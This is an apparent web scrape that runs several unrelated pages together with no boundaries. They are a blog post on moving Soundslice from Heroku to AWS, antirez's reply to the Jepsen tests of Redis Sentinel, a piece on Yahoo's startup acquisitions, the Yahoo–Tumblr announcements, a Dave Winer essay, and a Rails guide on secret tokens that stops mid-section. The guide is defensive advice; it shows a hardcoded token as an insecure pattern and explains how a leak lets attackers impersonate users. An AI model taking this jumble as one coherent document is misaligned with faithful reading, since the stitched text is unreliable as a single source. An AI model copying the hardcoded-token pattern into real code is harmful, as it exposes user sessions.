Hacker News from Y Combinator

On Friday, we migrated Soundslice from Heroku to direct use of Amazon Web Services (AWS). I'm very, very happy with this change and want to spread the word about how we did it and why you should consider it if you're in a similar position.

My Heroku experience

Soundslice had been on Heroku since the site launched in November 2012. I decided to use it for a few reasons:

• Being a sysadmin is not my thing. I don't enjoy it, and I'm not particularly good at it.
• Soundslice is a two-man operation (developer and designer), and my time is much better spent working on the product than doing sysadmin work.
• Heroku had the promise of easy setup and easy scaling in cases of high traffic.

While I was getting Soundslice up and running on Heroku, I ran into problems immediately. For one, their automatic detection of Python/Django didn't work. I had to rejigger my code four or five times ("Should settings.py go in this directory? In a subdirectory? In a sub-subdirectory?") in order for it to pick up my app -- and this auto-detection stuff is the kind of thing that's very hard to debug.

Then I spent a full day and a half (!) trying to get Django error emails working. I verified that the server could send email, and all the necessary code worked from the Python shell, but errors just didn't get emailed out from the app for some reason. I never did figure out the problem -- I ended up punting and using Sentry/Raven (highly recommended).

These experiences, along with a few other oddities, made me weary of Heroku, but I kept with it.

To its credit, Heroku handled the Soundslice launch well, with no issues -- and using heroku:ps scale from the command line was super cool. In December, Soundslice made it to the Reddit homepage and 350,000 people visited the site in a period of a few hours. Heroku handled it nicely, after I scaled up the number of dynos.

But over the next few months, I got burned a few more times.

First, in January, they broke deployment. Whenever I tried to deploy, I got ugly error messages. I ended up routing around their bug by installing a different "buildpack" thanks to a tip from Jacob, but this left a sour taste in my mouth.

Then, one April evening, I deployed my app, and Heroku decided to upgrade the Python version during the deploy, from 2.7.3 to 2.7.4. (In itself, that's vaguely upsetting, as I didn't request an upgrade. But my app code worked just as well on the new version, so I was OK with it.) When the deployment was done, my site was completely down -- a HARD failure with a very ugly Heroku error message being shown to my users. I had no idea what happened. I raced through my recent commits, looking for problems. I looked at the Heroku log output, and it just said some stuff about my "soundslice" package not being found. I ran the site locally to make sure it was working. It was working fine. I had deployed successfully earlier in the day, and I had made no fundamental changes to package layout.

After several minutes of this futzing around, with the site being completely down, after I had just sent the link to some potential partners who, for all I know, were evaluating the site that very moment -- I deployed again and the site worked again. So it was nothing on my end. Clearly just something busted with the Heroku deployment process.

That's when Heroku lost my trust. From then on, whenever I deployed, I got a little nervous that something bad would happen, out of my control.

Around the same time, Soundslice began using some Python modules with compiled C extensions and other various non-Python code that was not deployable on Heroku with their standard requirements.txt process. Heroku offers a way to compile and package binaries, which I used successfully, but it was more work using that proprietary process than running a simple apt-get command on a server I had root access to.

With all of this, I decided it was time to leave Heroku. I'm still using Heroku for this blog, and I might use it in the future for small/throwaway projects, but I personally wouldn't recommend using it for anything more substantial. Especially now that I know how easy it is to get a powerful AWS stack running.

My AWS setup

I'm lucky to be friends with Scott VanDenPlas, who was director of dev ops for the Obama reelection tech team -- you know, the one that got a ton of attention for being awesome. Scott helped me set up a fantastic infrastructure for Soundslice on AWS. Despite having used Amazon S3 and EC2 a fair amount over the years, I had no idea how powerful Amazon's full suite of services really were until Scott showed me. Unsolicited advertisement: You should definitely hire Scott if you need any AWS work done. He's one of the very best.

The way we set up Soundslice is relatively simple. We made a custom AMI with our code/dependencies, then set up an Elastic Load Balancer with auto-scaling rules that instantiate app servers from that AMI based on load. I also converted the app to use MySQL. In detail:

Step 1: "Bake" an AMI. I grabbed an existing vanilla Ubuntu AMI (basically a frozen image of a Linux box) and installed the various packages Soundslice needs with apt-get and pip. I also compiled a few bits of code I needed that aren't in apt-get, and I got our app's code on there by cloning our Git repository. After that instance had all my code/dependencies on it, I created an AMI from it ("Create Image (EBS AMI)" in the EC2 dashboard).

Step 2: Set up auto-scaling rules. This is the real magic. We configured a load balancer (using Amazon ELB) to automatically spawn app servers based on load. This involves setting up things called "Launch configurations" and "scaling policies" and "metric alarms." Check out my Python code here to see the details. Basically, Amazon constantly monitors the app servers, and if any of them reaches a certain CPU usage, Amazon will automatically launch X new server(s) and associate them with the load balancer when they're up and running. Same thing applies if traffic levels go down and you need to terminate an instance or two. It's awesome.

Step 3: Change app not to use shared cache. Up until the AWS migration, Soundslice used memcache for Django session data. This introduces a few wrinkles in an auto-scaled environment, because it means each server needs access to a common memcache instance. Rather than have to deal with that, I changed the app to use Eric Florenzano's excellent django-cookie-sessions, which saves session data in signed cookies rather than in memcache. This way, the web app servers don't need to share any state (other than the database). Plus it's faster for end users because the app doesn't have to hit memcache for session data.

Step 4: Migrate to MySQL. Eeeek, I know. I have been a die-hard PostgreSQL fan since Frank Wiles showed me the light circa 2003. But the only way to use Postgres on AWS is to do the maintenance/scaling yourself...and my distaste for doing sysadmin work is greater than my distate for MySQL. :-) Amazon offers RDS, which is basically hosted MySQL, with point-and-click replication. I fell in love with it the moment I scaled it from one to two availability zones with a couple of clicks on the AWS admin console. The simplicity is amazing.

Step 5: Add nice API with Fabric. Deployment was stupidly simple with Heroku, but it's easy to make it equally simple using a custom AWS environment -- I just had to do some upfront work by writing Fabric tasks. The key is, because you don't know how many servers you have at a given moment, or what their host names are, you query the Amazon API (using the excellent boto library) to get the hostnames dynamically. See here for the relevant parts of my fabfile.

Ongoing: Update AMI as needed. Whenever there's a new bit of code that my app needs -- say, a new apt-get package -- I make a one-off instance of the AMI, install the package, then freeze it as a new AMI. Then I associated the load balancer with the new AMI, and each new app server from then on will use the new AMI. I can force existing instances to use the new AMI by simply terminating them in the Amazon console; the load balancer will detect that they're terminated and, based on the scaling rules, will bring up a new instance with the new AMI.

Another approach would be to use Chef or Puppet to automatically install the necessary packages on each new server at instantiation time, instead of "baking" the packages into the AMI itself. We opted not to do this, because it was unnecessary complexity. The app is simple enough that the baked-AMI approach works nicely.

Put all this together, and you have a very powerful setup that I would argue is just as easy to use as Heroku (once it's set up!), with the full power of root access on your boxes, the ability to install whatever you want, set your scaling rules, etc. Try it!

antirez 4 hours ago. In a great series of articles Kyle Kingsbury, aka @aphyr on Twitter, attacked a number of data stores: [1] http://aphyr.com/tags/jepsen Postgress, Redis Sentinel, MongoDB, and Riak are audited to find what happens during network partitions and how these systems can provide the claimed guarantees. Redis is attacked here: http://aphyr.com/posts/283-call-me-maybe-redis I said that Kyle "attacked" the systems on purpose, as I see a parallel with the world of computer security here, it is really a good idea to move this paradigm to the database world, to show failure modes of systems against the claims of vendors. Similarly to what happens in the security world the vendor may take the right steps to fix the system when possible, or simply the user base will be able to recognize that under certain circumstances something bad is going to happen with your data. Another awesome thing in the Kyle's series is the educational tone, almost nothing is given for granted and the articles can be read by people that never cared about databases to distributed systems experts. Well done! In this blog post I'll try to address the points Kyle made about Redis Sentinel, that's the system he tested. Sentinel goals === In the post Kyle writes "What are the consistency and availability properties of Sentinel?". Probably this is the only flaw I saw in this article. Redis Sentinel is a distributed *monitoring* system, with support for automatic failover. It is in no way a shell that wraps N Redis instances into a distributed data store. So if you consider the properties of the "Redis data store + Sentinel", what you'll find is the properties of any Redis master-slave system where there is an external component that can promote a slave into a master under certain circumstances, but has limited abilities to change the fundamental fact that Redis, without Redis Cluster, is not a distributed data store. However it is also true that Redis Sentinel also acts as a configuration device, and even with the help of clients, so as a whole it is a complex system with given behavior that's worth analyzing. What I'm saying here is that just the goal of the system is: 1) To promote a slave into a master if the master fails. 2) To do so in a reliable way. All the stress here is in the point "2", that is, the fact that sentinels can be placed outside the master-slaves system makes the user able to decide a more objective point of view to declare the master as failing. And another property is that Sentinel is distributed enough so that single sentinels can fail at any time, including during the failover process, and the process will still continue unaffected as long as it is still possible to reach the majority. I think that the goal of Redis Sentinel is pretty clear so I'm surprised (not in a negative way) that it was tested creating a partition where the old master is in the minority together with a client, and then show that the client was still able to write to the old master. I honestly don't think any user expects something different from Redis Sentinel. That said, I'll ignore this fact from now on and reply to the different parts of the article as there is important information anyway IMHO, especially since, after all, Redis Sentinel + N Redis instances + M Clients is "A System", so Kyle analysis makes sense even under my above assumptions. Partitioning the cluster === Ok I just made clear enough that there is no such goal in Sentinel to turn N Redis instances into a distributed store, so basically what happens is that: 1) Clients in the majority side will be able to continue to write once the failover is complete. 2) Clients in the minority side may possibly write to the old master, and when the network is ok again, the master will be turned into a slave of the new master, so all the writes in the minority side are lost forever. So you can say, ok, Sentinel has a limited scope, but could you add a feature so that when the master feels in the minority it no longer accept writes? I don't think it's a good idea. What it means to be in the minority for a Redis master monitored by Sentinels (especially given that Redis and Sentinel are completely separated systems)? Do you want your Redis master stopping to accept writes when it is no longer able to replicate to its slaves? Or do you want it when enough Sentinels are down? My guess is that given the goals of the system, instead of going down the road of stopping the master for possibly harmless conditions (or not as bad as a stopped master), just use the fact that Sentinel is very configurable: place your Sentinels and set your quorum so that you are defensive enough against partitions. This way the system will activate only when the issue is really the master node down, not a network problem. Fear data loss and partitions? Have 10 Linux boxes? Put a Sentinel in every box and set quorum to 8. Just to be clear, the criticism is a good one, and it shows how Sentinel is not good to handle complex net splits with minimal data loss. Just this was never the goal, and what users were doing with their home-made scripts to handle failover was in the 99% of cases much worse than what Sentinel achieve as failure detection and handling of the failover process. Redis consensus protocol === Another criticism is that the Sentinel protocol is complex to analyze, and even requires some help from the client. It is true that is a complex protocol because while the agreement is vaguely byzantine looking, actually is a dynamic process without an ordered number of steps to reach an agreement. Simply the state about different things like if a node is failing or not, and who should perform the promotion, is broadcasted continuously among sentinels. A majority is basically reached when the state of N nodes (with N >= quorum) that is no older than a given number of seconds, agrees about something. Both failure detection and the election of the sentinel doing the failover are reasonable candidates for this informal protocol since the information every sentinel has about the availability of a given instance or sentinel itself is a moving target itself. Also the rest of the system is designed to be resistant against errors in the agreement protocol (the first sentinel recognizing a failure will force all the others to recognized it, and the failover process is auto-detected by the other instances that can monitor the elected slave. Also care is taken to avoid a protocol that is fragile against multiple sentinels doing the failover at the same time if this may ever happen). Kyle notes that there is the concept of TILT so that Sentinel is sensible to clock skew and desynchronization. Actually there is no explicit use of absolute time in the protocol nor Sentinels are required to have a synchronized clock at all. Just to clarify TILT is a special mode that is used when Sentinel detects its internal state is corrupted in two ways: either the system clock jumped in the past, so a Sentinel can no longer trust its *internal* state, or the clock appears to have jumped in the future, that means, the sentinel process for some reason was blocked for a long time. In both cases such a sentinel will enter TILT mode so it will stop acting for some time, until the state is believed to be already reliable. TILT is basically not part of the Sentinel protocol, but just a programming trick to make a system more reliable in presence of strange behaviors from the operating system. Involvement of the clients === In Sentinel clients involvement is not mandatory since you may want to run a script during a failover so that configuration will change in some permanent way. However the suggested mode of operation is to use clients that refresh the information when a reconnection is needed (actually we are going into the direction of forcing a periodic state refresh, and when Sentinel demotes a reappearing old master we'll send a command to the old master that forces all the connections to be dropped, this improves the reliability to the system in a considerable way). So in the article I can read: * Sentinels could promote a node no clients can see * Sentinels could demote the only node clients can actually reach * … And so forth. Again here the point is, Sentinel is designed exactly to let you pick your tradeoffs from that point of view, and the documentation suggests that your Sentinels stay in the same machines where you run your clients, web servers, and so forth, not into the Redis server nodes. Because indeed almost always the point of view you want to say something is "down" is the point of view of the client. Broken things Kyle did not investigated === Kyle did a great work to show you want you should *not* expect from Sentinel. There is much more we are to fix, because HA is a complex problem in master -> slave systems. For instance the current version of Sentinel does not handle well enough reconfigured instances that reboot with an old config: sometimes you may just lost a slave that is ignored by Sentinels. This and other problems are still a work in progress, and what I'm trying to provide with Redis Sentinel is a monitoring and failover solution that does not suck so much, as in, you can select the point of view of what "down" means, bot topologically and as a quorum, and you can stay sure that a few sentinels going away will not break your failover process. Redis Cluster === Redis Cluster is a system much more similar to what Kyle had in mind when testing Sentinel. For instance after a split the side with the minority of slaves will stop accepting writes so while there is always a window for data loss, there is in the big picture of things always only a single part of the network that accepts writes. I invite you to read the other articles in the Kyle's series, they are very informative. Thank you Kyle, please keep attacking databases.

Please enable JavaScript to view the comments powered by Disqus.

blog comments powered by

Whether it’s Flickr, Delicious, MyBlogLog, or Upcoming, the post-purchase story is a similar one. Both sides talk about all the wonderful things they will do together. Then reality sets in. They get bogged down trying to overcome integration obstacles, endless meetings, and stifling bureaucracy. The products slow down or stop moving forward entirely. Once they hit the two-year mark and are free to leave, the founders take off. The sites are left to flounder or ride into the sunset. And customers are left holding the bag.


Flickr was acquired by Yahoo in March ‘05 for $35M
The Flickr announcement of the deal said, “We’ll be working with a bunch of people that Totally Get Flickr and want to preserve the community and the flavor of what is here. We’re going to grow and change, but we’re in it for the long haul, with the same management and same team.”

But in 2008, co-founders Caterina Fake and Stewart Butterfield both left the company. In 2009, many engineers from the service were laid off or left on their own.

Meanwhile, Facebook kept taking a growing share of photo traffic. Yahoo’s top executives barely mentioned Flickr publicly (and few of them actually have a public Flickr account). Decision-making at Flickr slowed because of bureaucracy. “We just missed some opportunities that we could have tried if we were independent and raised our own money,” Butterfield said. “Who knows what would have happened?” He said ideas to give more visibility to photos of breaking news and ideas for international expansion never got off the ground.

Ex-Flickr Architect Kellan Elliott-McCrea also blamed the Yahoo bureaucracy for slowing the Flickr team down. “Roughly 15% of any of the large projects they (we?) tackled over the last few years (internationalization, video, various growth strategies, etc) went into building the feature. 85% was spent dealing with Yahoo,” he said. According to a worklog he kept in 2008-2009, 18 meetings scheduled over a 9 month period discussed why Flickr’s API was poorly designed and when it’d be shut down and migrated to the YOS Web Services Standard. He said, “That kind of stuff slows you down. Especially when you’re being starved for resources.”

On the plus side, Yahoo says it’s still “absolutely committed” to Flickr. And Butterfield says that although Facebook is grabbing more mainstream photo sharers, Flickr continues to be the leader among photo enthusiasts.

Delicious was acquired by Yahoo in December ‘05 for $15-20M
Delicious’ Joshua Schachter announced the deal saying, “Together we’ll continue to improve how people discover, remember and share on the Internet, with a big emphasis on the power of community. We’re excited to be working with the Yahoo! Search team – they definitely get social systems and their potential to change the web.” Meanwhile, Yahoo promised “to give Delicious the resources, support, and room it needs to continue growing the service and community.”

But then the app seemed to go stagnant. Traffic dropped. Schachter claims he was stripped of responsibilities and employees within a year after acquisition. “My boss didn’t agree with my technical design or product direction,” said Schacter. “It was phrased more like ‘you should be the idea guy, we’ll find other people to run engineering for you;’ the guy he decided would be good was ultimately him. However, he mostly spent all his time on Answers and none on Delicious, so it was more like absentee landlordism.”

Schacter left Yahoo when his contract was up, in June of 2008. “I was largely sidelined by the decisions of my management,” he said after leaving. “It was an incredibly frustrating experience.”

Recently, a leaked slide revealed Yahoo might be planning to “sunset” the app. Schachter vented, “[Yahoo!] killed a lot of good startups, wasted a lot of engineers’ time, etc. Perhaps I spent too much time inside that particular sausage factory. I wish I had not sold it to them. The cash and freedom do not even come close; I would rather work on a big, popular product.”

MyBlogLog was acquired by Yahoo! in January ’07 for $10M
Upon acquisition, Chad Dickerson, senior director of Yahoo Developer Network, said, “We don’t plan on making any immediate changes to the MyBlogLog Web site, distribution or branding. We want to encourage and not disrupt the continued growth of the MyBlogLog community and foster the innovation that has already made MyBlogLog an indispensable part of [users’] lives.”

But ReadWriteWeb says Yahoo “let the service atrophy for years” before deciding to put it to rest. “To think that this service offered publishers and developers access to personal, demographic, taste and activity data of a website’s readers – and yet that offering has in the end gone no where – that’s downright crazy,” RWW’s Marshall Kirkpatrick wrote. “Imagine getting a feed of the LinkedIn job titles of all your recent readers and presenting that to a blog’s advertisers. Both analytically and financially, there was so much potential in MyBlogLog.”

In a comment there, co-founder Eric Marcoulier blamed the lack of executive support. He says, “So much of your company’s long term sucess when it’s acquired is based on the amount of executive juice it has. The only way it survives and flourishes is if you have an executive champion who promotes it internally. Shortly after we were acquired we were transfered away from our champion and under someone who didn’t feel the same way about MyBlogLog. In those circumstances, things simply slow down.

“For any startup that has earn outs, and this didn’t affect us, you’ve got to keep in mind that in 3 months you could be reorganized and the new guy could shut you down. The picture that gets painted early on when you have your product champions can change in a heartbeat and it’s important for entreprenuers to consider that when looking at the deal terms.” Elsewhere, Marcoulier added, “It’s sad to see the company closing down MyBlogLog, and I feel bad for all the customers and users.”

Upcoming was acquired by Yahoo! in October ‘05 for $1M
After the deal, co-founder Gordon Luk wrote, “We’re happy to become valued members of the Y! Local team, trusted to turn our part-time ideas and blue sky into a tangible, fully-featured events offering. The opportunity to join forces with Y! ultimately bespeaks all of our sincere interest in making a useful, interesting events substrate on which a flourishing, social community can naturally grow.”

But Luk and co-founder Andy Baio both left a few years later. Upon his exit, Baio warned against the flip mentality saying, “Acquisition should never be the goal. Build something people love, and build revenue to keep it sustainable. After that, the decision to sell is very personal.” He continued, “For Upcoming, going to Yahoo! was the best thing we could’ve done to improve the site and grow the community, so that made the decision easy. But if you’re only building something to flip it, you’ve already lost.”

In a talk at the June ‘08 PDX Web Innovators meeting, Baio offered this advice to startups: “Build for yourself. Build something you love. Build with smallest team possible. Bootstrap yourself.” During the presentation, he also looked back at his time at Yahoo. The good parts included “being surrounded by brilliant people” and platform technology that enabled things like geolocation open API. The not so great parts: the bureaucracy, integration obstacles, and complexity that slowed down the site.

Neil Kandalgaonkar, a former engineer at Upcoming, says acquired companies like Upcoming were “parcelled out to different parts of Yahoo where they were subordinate to the existing hierarchy and agenda.” He also argues there was a failure of vision. “The Yahoo model is to think of their sites as media properties with audiences, and bolder ideas like one social network encompassing them all was never a priority,” he said. “Even if top executives wanted to see revolutionary change at Yahoo, most of the organization was set up to do deals with Purina Puppy Chow and to ask if Flickr wanted to create a special site for dog photos.”

Upcoming announced a new look in December. However, it was also under the “Merge” column in that leaked slide from Yahoo.

Looking back
All totaled, Yahoo spent $61M on these four companies.

Below is a full list of Yahoo’s acquisitions since 2005. How many can be described as success stories?

Is this the future fate faced by most acquired tech companies? Is the cash worth it to founders who have to watch their creations slowly decline into obsolescence? Is freedom better than building and honing a big, popular product? When a company is bought, does it deserve acquisition congratulations or condolences? These are questions we’ll be looking at more closely (and talking with founders of acquired companies about) here at Signal vs. Noise soon. Stay tuned.

* All purchase prices are based on online media reports.

Exit Interview is a Signal vs. Noise series that examines what happens after companies get acquired.

, "the Spinal Tap of startups." Previously: Employee #1 at 37signals and co-author of the books Rework and Getting Real.

SUNNYVALE, Calif. & NEW YORK--(BUSINESS WIRE)--

Yahoo! Inc. (YHOO) and Tumblr announced today that they have reached a definitive agreement for Yahoo! to acquire Tumblr.

Per the agreement and our promise not to screw it up, Tumblr will be independently operated as a separate business. David Karp will remain CEO. The product, service and brand will continue to be defined and developed separately with the same Tumblr irreverence, wit, and commitment to empower creators.

With more than 300 million monthly unique visitors and 120,000 signups every day, Tumblr is one of the fastest-growing media networks in the world. Tumblr sees 900 posts per second (!) and 24 billion minutes spent on site each month. On mobile, more than half of Tumblr’s users are using the mobile app and do an average of 7 sessions per day. Its tremendous popularity and engagement among creators, curators and audiences of all ages brings a significant new community of users to the Yahoo! network. The combination of Tumblr+Yahoo! is expected to grow Yahoo!’s audience by 50 percent to more than a billion monthly visitors, and to grow traffic by approximately 20 percent.

The deal offers unique opportunities for both companies. Tumblr can deploy Yahoo!’s personalization technology and search infrastructure to help its users discover creators, bloggers, and content they’ll love. In turn, Tumblr brings 50 billion blog posts (and 75 million more arriving each day) to Yahoo!’s media network and search experiences. The two companies will also work together to create advertising opportunities that are seamless and enhance the user experience.

Total consideration is approximately $1.1 billion, substantially all of which is payable in cash.

“Tumblr is redefining creative expression online,” said Yahoo! CEO Marissa Mayer. “On many levels, Tumblr and Yahoo! couldn’t be more different, but, at the same time, they couldn’t be more complementary. Yahoo is the Internet’s original media network. Tumblr is the Internet’s fastest-growing media frenzy. Both companies are homes for brands - established and emerging. And, fundamentally, Tumblr and Yahoo! are both all about users, design, and finding surprise and inspiration amidst the everyday.”

“I’ve long held the view that in all things art and design, you can feel the spirit and demeanor of the creator. That’s why it was no surprise to me that David Karp is one of the nicest, most empathetic people I’ve ever met. He’s also one of the most perceptive, capable entrepreneurs I’ve ever worked with,” continued Mayer. “David’s respect for Tumblr’s community of creators is awesome. I’m absolutely delighted to have him join our team.”

David Karp, CEO of Tumblr, addressed the Tumblr community, “Our team isn’t changing. Our roadmap isn't changing. And our mission – to empower creators to make their best work and get it in front of the audience they deserve – certainly isn't changing. But we’re elated to have the support of Yahoo! and their team who share our dream to make the Internet the ultimate creative canvas. Tumblr gets better faster with more resources to draw from.”

The transaction, which is subject to customary closing conditions, is expected to close in the second half of the year.

Conference Call

Yahoo! will host a conference call at 9:00 a.m. Eastern Time today to discuss this announcement. A live webcast of the conference call can be accessed through the company's Investor Relations website at http://yhoo.client.shareholder.com/events.cfm?CalendarID=8. In addition, an archive of the webcast will be accessible for 90 days through the same link.

About Tumblr

Tumblr is a media network powered by an army of independent creators and home to an audience of more than 300 million unique visitors. Founded by David Karp in 2007, Tumblr is headquartered in New York City.

About Yahoo!

Yahoo! is focused on making the world's daily habits inspiring and entertaining. By creating highly personalized experiences for our users, we keep people connected to what matters most to them, across devices and around the world. In turn, we create value for advertisers by connecting them with the audiences that build their businesses. Yahoo! is headquartered in Sunnyvale, CA, and has offices located throughout the Americas, Asia Pacific (APAC) and the Europe, Middle East and Africa (EMEA) regions. For more information, visit the pressroom (pressroom.yahoo.net) or the company's blog (yahoo.tumblr.com).

This press release contains forward-looking statements that involve risks and uncertainties concerning Yahoo!'s proposed acquisition of Tumblr (including without limitation the statements contained in the quotations from management in this press release), as well as Yahoo!'s strategic and operational plans. Actual events or results may differ materially from those described in this press release due to a number of risks and uncertainties. The potential risks and uncertainties include, among others, the possibility that the transaction will not close or that the closing may be delayed; and that the anticipated benefits to Yahoo!, including projected growth in audience and traffic, and benefits to users and advertisers may not be realized. More information about potential factors that could affect Yahoo!'s business and financial results is included under the captions, "Risk Factors" and "Management's Discussion and Analysis of Financial Condition and Results of Operations," in the Company's Annual Report on Form 10-K for the fiscal year ended December 31, 2012 and Quarterly Report on Form 10-Q for the quarter ended March 31, 2013, which are on file with the Securities and Exchange Commission (“SEC”) and available at the SEC's website at www.sec.gov.

Photos/Multimedia Gallery Available: http://www.businesswire.com/multimedia/home/20130520005659/en/

MULTIMEDIA AVAILABLE:http://www.businesswire.com/cgi-bin/mmg.cgi?eid=50635974&lang=en

It was 2003. Google had just bought Blogger. On the acquisition, they said they wouldn't do anything to tilt the table in favor of Blogger. There was concern in the wider blogging community that Google might use its power in search to give people an incentive to use Blogger over other publishing platforms. They said this would never happen.

But a few weeks after the deal they broke the promise. They added a BlogThis! button to Google Toolbar. It only worked with Blogger. It would have been a simple matter to make it work with any blogging tool. But they didn't see why they should do that.

It would have been okay if Blogger was the default. But give the users a preference to set the address of our blogging platform.

Back then Google cared a little about what I thought, so the result was a conference call between me and an exec at Google, Marissa Mayer. I was driving cross-country from California to Boston, so I stopped in Utah, in the parking lot of a 7-11 just east of Salt Lake City, and we had the call.

All I remember of it was there came a point in the conversation when Mayer had had enough. She just got up and left. I think the people remaining in the conference room were a little embarassed. Google didn't do anything to change the BlogThis! button.

All this is to say that the promises execs make on acquisitions are meaningless. They own the thing, they will do what they want to with it. It doesn't matter how many nice sounds Mayer makes on the deal. At the core she cares not one bit what the users of Tumblr think. She's saying what she needs to say to make the deal happen. To avoid a PR crisis on Day One. To make the team at Tumblr feel like their work has value to the new owners. That somehow this acquisition isn't actually an acquisition.

I have some intuition about this myself, because I sold a company. We were bought because we had a presence in the Mac market, which was highly coveted at the time. I negotiated for myself a role as the "Chief architect of Symantec's Mac strategy." A few weeks after the deal I made a presentation to the exec staff about what our Mac strategy would be. Only one person showed up, the president of the company, Gordon Eubanks. He watched a couple of slides and thanked me for the input. I asked What about my chief architect role? He told me that was something they told me to get me to do the deal.

He left the room. What was I going to do? What could I do? Nothing, that's what. :-)

Moral of the story: When you sell your company, no matter what promises were made, you sold it. It's theirs now. They will do what they want to with it. Promises don't matter.

I’m delighted to announce that we’ve reached an agreement to acquire Tumblr! 

We promise not to screw it up.  Tumblr is incredibly special and has a great thing going.  We will operate Tumblr independently.  David Karp will remain CEO.  The product roadmap, their team, their wit and irreverence will all remain the same as will their mission to empower creators to make their best work and get it in front of the audience they deserve.  Yahoo! will help Tumblr get even better, faster.

Tumblr has built an amazing place to follow the world’s creators. From art to architecture, fashion to food, Tumblr hosts 105 million different blogs.  With more than 300 million monthly unique visitors and 120,000 signups every day, Tumblr is one of thefastest-growing media networks in the world.  Tumblr sees 900 posts per second (!) and 24 billion minutes spent onsite each month.  On mobile, more than half of Tumblr’s users are using the mobile app, and those users do an average of 7 sessions per day.  Tumblr’s tremendous popularity and engagement among creators, curators and audiences of all ages brings a significant new community of users to the Yahoo! network.  The combination of Tumblr+Yahoo! could grow Yahoo!’s audience by 50% to more than a billion monthly visitors, and could grow traffic by approximately 20%.

In terms of working together, Tumblr can deploy Yahoo!’s personalization technology and search infrastructure to help its users discover creators, bloggers, and content they’ll love.  In turn, Tumblr brings 50 billion blog posts (and 75 million more arriving each day) to Yahoo!’s media network and search experiences.  The two companies will also work together to create advertising opportunities that are seamless and enhance user experience.

As I’ve said before, companies are all about people.  Getting to know the Tumblr team has been really amazing.  I’ve long held the view that in all things art and design, you can feel the spirit and demeanor of those who create them.  That’s why it was no surprise to me that David Karp is one of the nicest, most empathetic people I’ve ever met.  He’s also one of the most perceptive, capable entrepreneurs I’ve worked with.  His respect for Tumblr’s community of creators is awesome, and I’m absolutely delighted to have him and his entire team join Yahoo!.   

Both Tumblr and Yahoo! share a vision to make the Internet the ultimate creative canvas by focusing on users, design — and building experiences that delight and inspire the world every day.

http://yahoo.tumblr.com/

130 notes

1. papillonland reblogged this from guardian
2. itsdesipuspandini likes this
3. itsdesipuspandini reblogged this from avatareverlark
4. mancwanderer reblogged this from marissamayr and added:

   Hmm, is about all I can say about tumblr! as it shall no doubt be called from now on in. However, if and it’s a big if,...

5. Show more notesLoading...

• Random post
• Browse the Archive

About Connect To Tumblr, Love Pixel Union

tl;dr Don’t hardcode secret tokens. Load them from the environment like this…

/config/initializers/secret_token.rb 1 2 3 4 5 6 7 8 9 10 11 # Be sure to restart your server when you modify this file. # Your secret key for verifying the integrity of signed cookies. # If you change this key, all old signed cookies will become invalid! # Make sure the secret is at least 30 characters and all random, # no regular words or you'll be exposed to dictionary attacks. MyApp::Application.config.secret_token = if Rails.env.development? or Rails.env.test? ('x' * 30) # meets minimum requirement of 30 chars long else ENV['SECRET_TOKEN'] end

… and use the Dotenv gem in production if needed.

Insecure defaults

When you create a new Rails project, one of the files created will be /config/initializers/secret_token.rb. This file will look something like this:

/config/initializers/secret_token.rb 1 2 3 4 5 6 7 # Be sure to restart your server when you modify this file. # Your secret key for verifying the integrity of signed cookies. # If you change this key, all old signed cookies will become invalid! # Make sure the secret is at least 30 characters and all random, # no regular words or you'll be exposed to dictionary attacks. MyApp::Application.config.secret_token = '3eb6db5a9026c547c72708438d496d942e976b252138db7e4e0ee5edd7539457d3ed0fa02ee5e7179420ce5290462018591adaf5f42adcf855da04877827def2'

This token is used to sign cookies that the application sets. Without this, it’s impossible to trust cookies that the browser sends, and hence difficult to rely on session based authentication.

Why this is bad

Firstly, hard-coding configuration conflates config and code. Although this may not cause much pain in a very simple context, as the application and infrastructure grow this anti-pattern will make configuration increasingly complex and error prone.

An app’s config is everything that is likely to vary between deploys (staging, production, developer environments, etc). … Apps sometimes store config as constants in the code. This is a violation of twelve-factor, which requires strict separation of config from code. Config varies substantially across deploys, code does not.

The Twelve-Factor App III. Config Security risk

More importantly though is the security implication. Knowing the secret token allows an attacker to trivially impersonate any user in the application.

The only system that needs to know the production secret token is the production infrastructure. In this case, the attack vector is limited to the production infrastructure, which is likely to be the most secure part of the infrastructure anyway.

By hardcoding the production secret token in the code base, the following attack vectors are opened:

• Every developer that has had access to the code base
• Every development workstation that has a local copy of the code
• The source control repository (whether private or 3rd-party e.g. Github)
• The continuous integration server
• Any 3rd-party services that have access to the source code, e.g. Code Climate or Gemnasium
• The people involved with all of the above services

If an attacker wishes to obtain the application’s secret token, there are vastly more opportunities when the secret token is stored in the code.

The prevalence of this bad practice can be seen by searching Github or Google. It is trivial to gain administrative access to many live applications simply by browsing those search results.

Loading Rails configuration from the environment

In order to set the secret token securely, we want to load it from the application’s environment. The simplest method is to replace the hardcoded token with a reference to Ruby’s ENV:

/config/initializers/secret_token.rb 1 2 3 4 5 6 7 # Be sure to restart your server when you modify this file. # Your secret key for verifying the integrity of signed cookies. # If you change this key, all old signed cookies will become invalid! # Make sure the secret is at least 30 characters and all random, # no regular words or you'll be exposed to dictionary attacks. MyApp::Application.config.secret_token = ENV['SECRET_TOKEN']

While this has the advantage of maintaining development/production parity, it can be inconvenient for simple apps. If ENV['SECRET_TOKEN'] isn’t set locally — for example in the development or testing workflow — ActionDispatch will raise an exception like:

ArgumentError (A secret is required to generate an integrity hash for cookie session data. Use config.secret_token = "some secret phrase of at least 30 characters"in config/initializers/secret_token.rb):

One solution to this is managing a full set of environment variables within the development and test workflows. See below for more details on this.

Alternatively, a token could be hard-coded for the development and test environments, and loaded from the ENV in production.

/config/initializers/secret_token.rb 1 2 3 4 5 6 7 8 9 10 11 # Be sure to restart your server when you modify this file. # Your secret key for verifying the integrity of signed cookies. # If you change this key, all old signed cookies will become invalid! # Make sure the secret is at least 30 characters and all random, # no regular words or you'll be exposed to dictionary attacks. MyApp::Application.config.secret_token = if Rails.env.development? or Rails.env.test? ('x' * 30) # meets minimum requirement of 30 chars long else ENV['SECRET_TOKEN'] end

This also removes any pretense that the hard-coded token is secure.

Occasionally, the following solution is used:

/config/initializers/secret_token.rb — Don’t do this! 1 MyApp::Application.config.secret_token = ENV['SECRET_TOKEN'] || '3eb6db5a9026c547c72708438d496d942e976b252138db7e4e0ee5edd7539457d3ed0fa02ee5e7179420ce5290462018591adaf5f42adcf855da04877827def2'

However, if ENV['SECRET_TOKEN'] isn’t set in production, this will use the insecure token with no warning.

Managing an Application’s ENV

Dotenv is an excellent gem for managing an application’s environment. Heroku’s foreman uses this behind the scenes. Install it with:

Gemfile

By default, it loads environment variables from the .env file. Simply create this file in the RAILS_ROOT on the production web server.

